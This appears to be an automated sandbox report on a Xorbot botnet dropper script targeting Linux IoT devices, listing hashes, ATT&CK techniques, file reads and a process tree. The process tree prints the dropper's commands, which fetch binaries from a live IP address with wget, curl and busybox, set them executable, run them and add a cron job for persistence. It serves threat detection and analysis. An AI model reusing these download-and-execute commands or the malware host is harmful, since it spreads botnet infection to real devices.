xorbot | d17bddc04d883ddfc099121b2747c9ab72f0eb94155adf825fbc26f509ad20f9

Analysis

max time kernel
149s
max time network
104s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30/11/2024, 22:13

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General

Target

bins.sh
Size

10KB
MD5

31630671c0f915f24de0fce6c46288f4
SHA1

ad952584e70499f7eec145402a2853f13911a948
SHA256

d17bddc04d883ddfc099121b2747c9ab72f0eb94155adf825fbc26f509ad20f9
SHA512

6d841292f6f0664deafd38e9d8bdb77e5893b892ca120b4080196238f724cc82ab43d60521e05ce6f323b4ca8866f2695f0b34b46c2c050d9f5856cc79afff2a
SSDEEP

192:Pk8v1zpvF+KVQUNa/YJU555N5l585s51ckNwmNGNGgBLcnCn6n0nlnBnYp555N5y:PkYUYJUz7jW6AkNwmNGNGgBLcC60lBYu

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
757	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2	758	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2

Renames itself 1 IoCs

pid	Process
759	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.TLc3mJ	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 1 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/13/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/15/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/18/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/19/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/764/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/791/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/26/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/144/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/146/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/785/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/786/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/792/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/27/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/285/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/320/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/767/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/795/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/765/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/4/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/21/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/81/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/113/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/271/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/272/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/640/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/780/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/789/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/6/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/7/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/20/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/22/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/304/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/781/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/218/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/770/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/2/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/5/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/16/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/17/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/24/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/41/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/776/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/592/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/8/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/43/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/110/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/112/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/169/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/315/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/576/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/639/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/594/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/783/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/787/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/793/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/769/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/1/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/12/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/42/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/597/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
File opened for reading	/proc/641/cmdline	cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2	curl
File opened for modification	/tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2	busybox
File opened for modification	/tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:642
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:644
- /usr/bin/wget
  wget http://216.126.231.240/bins/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  2⤵
  - Writes file to tmp directory
  PID:649
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  2⤵
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod 777 cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  ./cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:758
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:760
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:761
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:762
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:763
- /bin/rm
  rm cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2
  2⤵
  PID:765
- /usr/bin/wget
  wget http://216.126.231.240/bins/EbsyvJCG9oKSsKHoY1FfOLIVkh87Xjhn3l
  2⤵
  PID:768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/cPQxFUus3q4qmoM4kG9nPGDAFlHUETvNY2

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.TLc3mJ

Filesize
210B

MD5
2c26b09d7fb563d8c796040fe762d7e9

SHA1
389dba1176eb759fbee407cf649f51cfbe9272df

SHA256
694000f7c80a38009c977cce7c7f68b6c81c852a49bad6380be97c6f21fb02fe

SHA512
68be0a3dd5665c31b466548df9c394908940a16eab80eade89e66febd5a1b4c05632a3e760604dbfaac7139b1cd98a79ff468dbc2d4c50dd80133e845214fc2f

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads